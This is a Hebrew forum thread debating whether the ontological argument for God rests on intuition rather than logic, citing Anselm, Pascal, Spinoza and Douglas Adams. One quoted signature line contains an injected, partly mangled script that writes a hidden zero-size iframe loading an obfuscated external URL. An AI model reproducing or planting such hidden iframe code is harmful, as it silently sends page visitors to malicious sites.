| נשלח ב-1/12/2015 11:28 |
 |
| |
ההוכחה האונטולוגית
לא. אני לא מתכוון לפתוח פה דיון על נכונותה או אי נכונותה של ההוכחה האונטולוגית לאלוקים. (ספוילר: אני לא מאמין בשלל צורות ההגשה המקובלות שלה).
נשברו קולמוסים, נמרטו גיליונות ונשפכו נהרות של דיו על מגוון הניסוחים של ההוכחה ועל מגון ניסוחי ההפרכה שלה.
מי שרוצה הצצה חטופה ימצאנה בויקיפדיה, ערך "הטיעון האונטולוגי" (לא הצלחתי להעלות קישור מקוצר וחששתי מאיומיו הנושנים של ש. שנהב בעונש מוות למעלי קישורים שמרחיבים את הדף).
כשלעצמי למדתי עוד עוד על הראיה ב"טיול לוגי מדעי לא-לוהים ובחזרה" של יובל שטייניץ, קצת ב"יש א-לוהים" של דוקינס, ועוד קצת ב"א-לוהים משחק בקוביות" של הרב מיכי.
אני סבור (כמדומה לכמדומני), שהסגנון המקובל של הטיעונים וההפרכות של הראיה הזו, הוא שטויות במיץ תותים!
מה זאת אומרת? וכי אני מפקפק בגדלותם הפילוסופית של אנסלם, דקארט, מלקולם וקאטרוס?!
לא ולא. אינני מתיימר לשפוט כאן את נכונותה הפילוסופית/מתמטית של הראיה ואת גדלותם הפילוסופית של הוגיה ומפריכיה.
אני חושב שההרגשות המניעות את הראיה, אמנם קיימות, אך לא בתחום (המתמטיקה של) הפילוסופיה, אלא בתחום הרגשות העמוקים הטבעיים = אינטואיציות. יש איזו אינטואיציה בסיסית להרבה אנשים, שכיון שקיים איזשהו 'יש', ממילא חייב להיות 'יש' גדול ואינסופי, שכולל הכול ומהווה הכול.
זו אינטואיציה. כמו כל אינטואיציה (מה"קוגיטו" ועד "אני מרגיש שמחר יהיה תפנית משמעותית בעניין עליו אנחנו עומלים") אפשר לפקפק בה, אבל אי אפשר להתווכח עליה, כי היא לא נבחנת בכלים של ויכוח.
מה שניתן לעשות הוא להעביר אחד לשני את הרגשות העומדים בבסיסה או העומדים בסתירה לה.
ומה עם הפילוסופים? לתחושתי (האינטואיטיבית...) כמו כל מתמטיקאי - שמסתכל על בניינים ורואה מספרים, וחייט - שמסתכל על מגרשים ורואה חוטים, וקברן - שמסתכל על חיים ורואה גופות, כך גם הם הסתכלו לרגשותיהם בנפשם פנימה, מצאו את האינטואיציה המדוברת וניסו להגדיר אותה בכלים המתמטיים של הפילוסופיה.
[רוצים ראיה? תסתכלו על ההתנהלות ה'פילוסופית' של שטייניץ בפוליטיקה... (אגב, אני סבור שהוא אחד הפוליטיקאים הראויים ביותר)].
 |
|
|
|
|
| נשלח ב-6/12/2015 22:30 |
|
| |
| A_Smithee כתב: |  |
"דג בבל, הוא דג קטן, צהוב ועלוקתי, וכפי הנראה הוא גם הדבר המוזר ביותר בגלקסיה. הוא ניזון מאנרגיית הגלים שהוא קולט, לא ממוחו של נושא, כי אם ממוחותיהם של מי שסובבים אותו. הוא סופג את כל התדירויות המנטליות, התת-הכרתיות מאנרגיית גלי מוח זו וניזון ממנה. אח"כ הוא מפריש למוחו של נושאו מטריצות טלפתיות הנבנות מהרכבת תדירויות המחשבה ההכרתיות על אותות עצביים הנקלטים ממרכז הדיבור של המוח ששידרם. התוצאה המעשית של כל זה היא שאם תתקע דג בבל באוזנך, תוכל מיד להבין כל מה שנאמר לך, בכל שפה, מכל משפחה דקדוקית שהיא.כיוון שזהו צירוף מקרים בלתי מובן באופן מוזר כ"כ שמשהו שימושי באופן מבלבל את המוח כ"כ התפתח באופן מקרי לחלוטין כ"כ בחרו כמה הוגים לראות בכך הוכחה סופית ונחרצת לאי קיומו של אלוהים. הטיעון נשמע כמו: 'אני מסרב להוכיח שאני קיים', אמר אלוהים, 'שכן הוכחה נוגדת אמונה, ובלי אמונה אין אני ולא כלום.' 'אבל', אמר האדם, 'דג הבבל תוקע אותך, לא? לא מתקבל על הדעת שהתפתח במקרה. זה מוכיח שאתה קיים, ולפיכך, עפ"י טיעוניך שלך, אינך קיים. מ.ש.ל.' 'אוה, אלוהים,' אומר אלוהים, 'על זה לא חשבתי.' ובו במקום מתפוגג בעננת הגיון." |
|
הקטע החמוד הזה שייך לדאגלס אדאמס, סופר מד"ב שהגדיר את עצמו כאתאיסט קיצוני ותלמיד של ריצ'רד דוקינס. בספריו (המבולבלים, אמנם) אפשר למצוא הרבה רעיונות חמודים בסגנון זה.
|
|
|
|
|
| נשלח ב-6/12/2015 19:45 |
|
| |
| 932woland כתב: | | כמדומני, האם אתה מכיר הרבה אנשים בעלי אינטואיציה בדבר 'יש גדול ואינסופי שכולל הכל ומהווה הכל'? האמנם מלאות ירושלים ובני ברק בשפינוזיסטים? המוני תלמידי הישיבות משננים את ה'אתיקה' שלו? לזה התכוונת?
כן. אני מכיר המון אנשים חרדים כאלו. לא בדיוק שפינוזה, אלא שפינוזה +בחירה ומודעות.
המושג שאתה מביא אינו זהה למושג עליו חשב אנסלם. ומה הדימוי הנפוץ אצל חז'ל – 'משל למלך'. מלך כל המלכים. מושג שמבחינת הדימוי שלו ממשיך את התפיסה של המלך הגדול של פרס המושל על 127 מדינות שבראשן מלכים. לדעתי האינטואיציה של רוב הבריות מתארת תמונה פוליתאיסטית בעלת איזה מלך גדול וחזק מאד העומד בראש, והרבה מלאכים וקדושים מתים וחיים, וכל מיני מתווכים כפי שיש במשרדי ממשלה, ובשני המקומות רוקחים קומבינות ותמיד מעורב גם מזומן ... – כל זה שייך לאנתרופולוגיה ולא לתאולוגיה.
לדעתי אתה טועה (בוודאי בקרב עולם הישיבות של המגזר החרדי שאני חי בתוכו) מדמיינים ומרגישים יש גדול שכולל הכול ומהווה הכול וכל המתווכים הם כוחות שמונעים ממנו, ולכל היותר יש להם גם בחירה אישית ומודעות בדיוק כמו בני האדם + תוספת חוזק ורובדים נוספים.
לדעתי הא-לוהים של אנסלם יכול לנוע בין שפינוזה לזה.
לגבי תפיסת חז"ל לא חקרתי מספיק וכמובן יכולים להיות הבדלים בין דוריים.
היום כל אחד מדבר על 'אנרגיה'. מעטים יודעים מהי, אבל השם המשמש בפיסיקה נקלט על ידי ההמון. דבר דומה קרה ביחס למושגים מתחום העיון הפילוסופי והתאולוגי. האדם הרגיל מדבר על גוף ונפש, חומר ורוח, 'רוחניות', אחדות וריבוי, עניינים סבוכים של עיון שנעשו מטבעות לשון שגורות ורדודות. כי אם אכן היינו מוכיחים את קיומו של אותו אל אנסלמי, מה לו ולאלוהיו של המאמין. אלו דברים נבדלים שאינם מתחברים.
כיון שכתבת כאן את דעתך כקביעה, אין לי אלא לכתוב שלדעתי זה לא נכון.
אינטואיציה היא כלי חשוב הצריך בקורת. לא מעט פילוסופים ספקולאטיביים היו בעלי רעיונות הסותרים את האינטואיציה. ההנחה כי קיים אטום בעל גודל שאינו נחלק, מנוגד לאינטואיציה ולשכל הפשוט. האם הרעיון הפרמנידי בדבר אשלית התנועה של היש והפרדוקסים של זנון מתאימים לאינטואיציה? לכאורה כל אחד יודע 'יש' מהו. השולחן, הקיר, הם ישים, הם נמצאים. מה ברור מזה. נסה להטיח ראשך בקיר ותשתכנע, למרות שבאמת, קיר הבטון שמולי הוא ריק לגמרי. מאידך, לפעמים איזו אינטואיציה זרה פורצת לנו כיוון חדש של פיתרון.
יש רובדים רובדים של אינטואיציות וצריך לקלף אותם לפעמים כמו גלדי בצל.
כמובן שהם צרכים כל הזמן ביקורת של התבונה.
אבל בדיונים שכאן איננו עוסקים באינטואיציות אלא בצרכים האנושיים של האדם, ובאמונות האמורות לספק את הצרכים האלו. כל זה הוא עניין לחקר הצרכים הנפשיים של האדם, ובכך עוסקת האנתרופולוגיה, מדע האדם. העיסוק באלהות קשור לתאולוגיה ולתורת ההכרה שלנו, ואלו עניינים שונים.
אני לא דיברתי על אנתרופולוגיה כלל, אלא רק על אפיסטמולוגיה.
ולכולנו, הקוראים וכותבים כאן, ראוי שנפנה לספרות יותר רצינית. בין אם מעריכים את אנסלם והטיעון שלו, בין אם זה רק מיץ תות. בתחום הקשה של האונטולוגיה עסק א. צ. בראון. 'סוגיות היש' ו'מפרמנידס עד הוגי זמננו' , הם שני ספרים שלו המכילים גם תרגום מקורות וגם עיון בהם.
את הספרים שהזכרתי כבו האנשים מוערכים ביותר בתחומים אלו. (מלבד דוקינס). יש אפשרות ללמוד כול נושא לעומק מהיסודות ועד הטפחות, ויש אפשרות לאנשים עסוקים, בנושאים שנראים פחות חשובים, לעיין בספרות פופולרית וקלה יותר, ובלבד שהיא נכתבה ע"י אנשים שנחשבים בתחום הספציפי המבוקש.
עודד
כמדומני |
|
|
|
|
|
|
| נשלח ב-6/12/2015 18:48 |
|
| |
כמדומני, האם אתה מכיר הרבה אנשים בעלי אינטואיציה בדבר 'יש גדול ואינסופי שכולל הכל ומהווה הכל'? האמנם מלאות ירושלים ובני ברק בשפינוזיסטים? המוני תלמידי הישיבות משננים את ה'אתיקה' שלו? לזה התכוונת? המושג שאתה מביא אינו זהה למושג עליו חשב אנסלם. ומה הדימוי הנפוץ אצל חז'ל – 'משל למלך'. מלך כל המלכים. מושג שמבחינת הדימוי שלו ממשיך את התפיסה של המלך הגדול של פרס המושל על 127 מדינות שבראשן מלכים. לדעתי האינטואיציה של רוב הבריות מתארת תמונה פוליתאיסטית בעלת איזה מלך גדול וחזק מאד העומד בראש, והרבה מלאכים וקדושים מתים וחיים, וכל מיני מתווכים כפי שיש במשרדי ממשלה, ובשני המקומות רוקחים קומבינות ותמיד מעורב גם מזומן ... – כל זה שייך לאנתרופולוגיה ולא לתאולוגיה.
היום כל אחד מדבר על 'אנרגיה'. מעטים יודעים מהי, אבל השם המשמש בפיסיקה נקלט על ידי ההמון. דבר דומה קרה ביחס למושגים מתחום העיון הפילוסופי והתאולוגי. האדם הרגיל מדבר על גוף ונפש, חומר ורוח, 'רוחניות', אחדות וריבוי, עניינים סבוכים של עיון שנעשו מטבעות לשון שגורות ורדודות. כי אם אכן היינו מוכיחים את קיומו של אותו אל אנסלמי, מה לו ולאלוהיו של המאמין. אלו דברים נבדלים שאינם מתחברים.
אינטואיציה היא כלי חשוב הצריך בקורת. לא מעט פילוסופים ספקולאטיביים היו בעלי רעיונות הסותרים את האינטואיציה. ההנחה כי קיים אטום בעל גודל שאינו נחלק, מנוגד לאינטואיציה ולשכל הפשוט. האם הרעיון הפרמנידי בדבר אשלית התנועה של היש והפרדוקסים של זנון מתאימים לאינטואיציה? לכאורה כל אחד יודע 'יש' מהו. השולחן, הקיר, הם ישים, הם נמצאים. מה ברור מזה. נסה להטיח ראשך בקיר ותשתכנע, למרות שבאמת, קיר הבטון שמולי הוא ריק לגמרי. מאידך, לפעמים איזו אינטואיציה זרה פורצת לנו כיוון חדש של פיתרון. אבל בדיונים שכאן איננו עוסקים באינטואיציות אלא בצרכים האנושיים של האדם, ובאמונות האמורות לספק את הצרכים האלו. כל זה הוא עניין לחקר הצרכים הנפשיים של האדם, ובכך עוסקת האנתרופולוגיה, מדע האדם. העיסוק באלהות קשור לתאולוגיה ולתורת ההכרה שלנו, ואלו עניינים שונים.
ולכולנו, הקוראים וכותבים כאן, ראוי שנפנה לספרות יותר רצינית. בין אם מעריכים את אנסלם והטיעון שלו, בין אם זה רק מיץ תות. בתחום הקשה של האונטולוגיה עסק א. צ. בראון. 'סוגיות היש' ו'מפרמנידס עד הוגי זמננו' , הם שני ספרים שלו המכילים גם תרגום מקורות וגם עיון בהם.
עודד
|
|
|
|
|
| נשלח ב-6/12/2015 14:28 |
|
| |
"דג בבל, הוא דג קטן, צהוב ועלוקתי, וכפי הנראה הוא גם הדבר המוזר ביותר בגלקסיה. הוא ניזון מאנרגיית הגלים שהוא קולט, לא ממוחו של נושא, כי אם ממוחותיהם של מי שסובבים אותו. הוא סופג את כל התדירויות המנטליות, התת-הכרתיות מאנרגיית גלי מוח זו וניזון ממנה. אח"כ הוא מפריש למוחו של נושאו מטריצות טלפתיות הנבנות מהרכבת תדירויות המחשבה ההכרתיות על אותות עצביים הנקלטים ממרכז הדיבור של המוח ששידרם. התוצאה המעשית של כל זה היא שאם תתקע דג בבל באוזנך, תוכל מיד להבין כל מה שנאמר לך, בכל שפה, מכל משפחה דקדוקית שהיא.
כיוון שזהו צירוף מקרים בלתי מובן באופן מוזר כ"כ שמשהו שימושי באופן מבלבל את המוח כ"כ התפתח באופן מקרי לחלוטין כ"כ בחרו כמה הוגים לראות בכך הוכחה סופית ונחרצת לאי קיומו של אלוהים. הטיעון נשמע כמו: 'אני מסרב להוכיח שאני קיים', אמר אלוהים, 'שכן הוכחה נוגדת אמונה, ובלי אמונה אין אני ולא כלום.' 'אבל', אמר האדם, 'דג הבבל תוקע אותך, לא? לא מתקבל על הדעת שהתפתח במקרה. זה מוכיח שאתה קיים, ולפיכך, עפ"י טיעוניך שלך, אינך קיים. מ.ש.ל.' 'אוה, אלוהים,' אומר אלוהים, 'על זה לא חשבתי.' ובו במקום מתפוגג בעננת הגיון."
|
|
|
|
|
| נשלח ב-6/12/2015 12:59 |
|
| |
אתה מתקרב.
"You never would have sought me had you not already found me"
|
|
|
|
| נשלח ב-6/12/2015 12:58 |
|
| |
ועתה חיפשתי ומצאתי את הקטע הבא:
"אנו מכירים את האמת לא רק על ידי השכל אלא גם על ידי הלב. באורח האחרון אנו לומדים לדעת את העקרונות הראשונים, ההגיון שאין לו חלק בכך, מנסה לשווא להלחם בהם [...] אנו יודעים שאיננו חולמים למרות שאין ביכולתנו להוכיח זאת על ידי השכל וחוסר יכולת זה מעיד רק על חולשת שכלנו ולא על אי ודאותן של הכרותינו [..] הכרת העקרונים הראשונים כגון שיש מרחב, זמן, תנועות, מספרים ודאית כמו לו המושגות על ידי השכל על התבונה לבטוח בהכרות אלו של הלב ושל האינסטינקט ולבסס עליהם את טיעוניה[...] הלב מרגיש שיש שלושה מימדים בחלל ושהמספרים אינסופיים, אחר כך בא השכל ומוכיח שאין שני מספרים ריבועיים שאחד מהם גדול פי שנתיים מהאחר" ~ פסקל, הגיגים, פסקה 282
|
|
|
|
| נשלח ב-6/12/2015 12:52 |
|
| |
כמדומני שפסקל (זה מההימור של פסקל) אמר בשם אלוקים 'לא חיפשת אותי אלמלא הכרת אותי'.
|
|
|
|
|
| נשלח ב-6/12/2015 10:38 |
|
| |
הרב מיימוני
הסברת טוב את החלק של האינטואיציה, למרות שאני הזכרתי רק שיש אותה לחלק מהאנשים.
אבל העדפת כנראה לא ליגוע בחלק השני שכתבתי עליו, שלדעתי הניסוחים המקובלים של הטיעון הם כמו לדבר על השאלה איזה אוכל טעים יותר, בעזרת טיעונים של מכניקת הקוונטים.
|
|
|
|
| נשלח ב-6/12/2015 10:23 |
|
| |
| מיימוני כתב: | |
הוכחה שרבים מאיתנו ישמחו עליה.
שומר מקלדתו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני,
ואם ההוכחה לא תתאים כל כך לאמונה שגדלת עליה?
|
|
|
|
| נשלח ב-6/12/2015 08:19 |
|
| |
כמדומני
אם הבנתי מה שרצית לטעון, אזי העלית אבחנה בין ניסוח לוגי של הוכחה למציאות אלוקים, לבין מה שבאמת מניע אותה. לא רק הרצון לגלות הוכחה שיש אלוקים, הוכחה שרבים מאיתנו ישמח עליה. ולא רק דיון באינטואיציות שלנו, שמתוכן עשוי אדם לגלות שיש אלוקים (וכך אני מבין את דקארט, ואפשר שמכאן לקח הגרי"ד סולוביצ'יק את החויה הדתית כהוכחה למציאות אלוקים שאני יכול להכיר ומכיר - ולא רק הוא עשה כן).
אם הבנתיך, אתה בא להצביע על אינטואיציה לא רק שיש אלוקים אלא מהו, מבחינה מסויימת בלבד, אותו אלוקים שמתגלה לנו בתוך תודעתנו. שהוא מצוי בהכרח (לוגי, אם יש כזה דבר). כלומר אותו יש שאני בטוח במציאותו יותר מאשר במציאותי שלי! אותו יש שאני מייחס לו את כל המאפיינים הנעלים שאני מזהה, שוב, באינטואיציות שלי: היותו טוב, היותו כל יכול, היותו בלתי נתפס (מה שסותר את כל המאפיינים שאני עשוי לייחס לו), היותו אוהב צדק ומשפט וחסד, היותו האלוקים שלי שמקשיב לי, עם כל היותי כה חסר חשיבות מול עולם ומלואו.
כאשר מלקטים מתוך האינטואיציות האלו כמה מאפיינים ניתן לזהות את ההגדרה שאנסלם שיבח כהוכחה שלא ניתנת לערעור. ואכן, אותו מכלול של מאפיינים שאנסלם סבור שהוא מייצג את מושג האלוקים שלו מכיל בתוכו את המציאות כתואר הכרחי.
הווה אומר שחלק מכוחה של ההוכחה האונטולוגית להרשימנו הוא בכך שהיא משקפת את האינטואיציות העמוקות של מי מאיתנו שזכה להכרת האלוקים קודם לכן.
זו עצמה אינטואיציה פרשנית מעמיקה, ואיקון ירוק עליה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-5/12/2015 22:03 |
|
| |
| אריאל73 כתב: | | אם יש אינטואיציה היא על הדבר שאותו רוצים להוכיח - היש המושלם, ודאי לא על ההוכחה.
|
|
זה בדיוק מה שרציתי לומר באשכול הזה.
|
|
|
|
| נשלח ב-4/12/2015 14:42 |
|
| |
אם יש אינטואיציה היא על הדבר שאותו רוצים להוכיח - היש המושלם, ודאי לא על ההוכחה.
על עצם קיום האינטואיציה בלתי אפשרי לערער, מתוקף היותה אינטואיציה. אם אתה אומר לי שאתה מרגיש את קיום אלוקים, או שגלידה מתוקה, אין לי שום דרך להפריך את טענתך. כל שעלי לדון הוא מהו המקור לאותה תחושה.
|
|
|
|
| נשלח ב-4/12/2015 12:44 |
|
| |
אריאל
אני מסכים אתך לגבי ההוכחה כהוכחה. אבל אני חושב שהשורש העמוק יותר הוא האינטואיציה (של חלק מהאנושות) שיש משהו אחד ענק שמהווה הכל.
כדי להגדיר את זה בשפה פילוסופית, הם היו צרכים להמית את האינטואיציה שאומרת שהשפה הפילוסופית שמגדירה את זה היא שטויות.
שלישישי
לא. אני יודע יותר על מהו הא-לוהים של אנשים שונים בייחס לא-לוהים שלי.
|
|
|
|
| נשלח ב-4/12/2015 12:22 |
|
| |
אני מרגיש (...) שהמצב הוא הפוך, הבעיה בהוכחה האונטולוגית היא שהיא לא משכנעת את האינטואיציה שלנו. לכן היא כל כך מעצבנת, כי אנו חשים מרומים.
אנסלם ויתר מרעיו פשוט המיתו את האינטואיציה שלהם ושעבדו את מוחם רק לכללי הלוגיקה. או לחלופין (בפרט אצל אנסלם, שכידוע פותח את הוכחתו בתפילה לה' 'שאזכה להוכיח את קיומך כפי שאני מאמין באמת') חיפשו הוכחה לוגית לידיעה האינטואיטיבית שלהם, כך שלא עניין אותם שההוכחה אינה נכונה אינטואיטיבית.
|
|
|
|
| נשלח ב-4/12/2015 12:09 |
|
| |
כמדומני,
סתם מסקרנות, אחרי שקראת כל כך הרבה פלספנים.
אתה יודע עכשיו משהוא על אלהים, שלא ידעת מקודם?
|
|
|
|
|
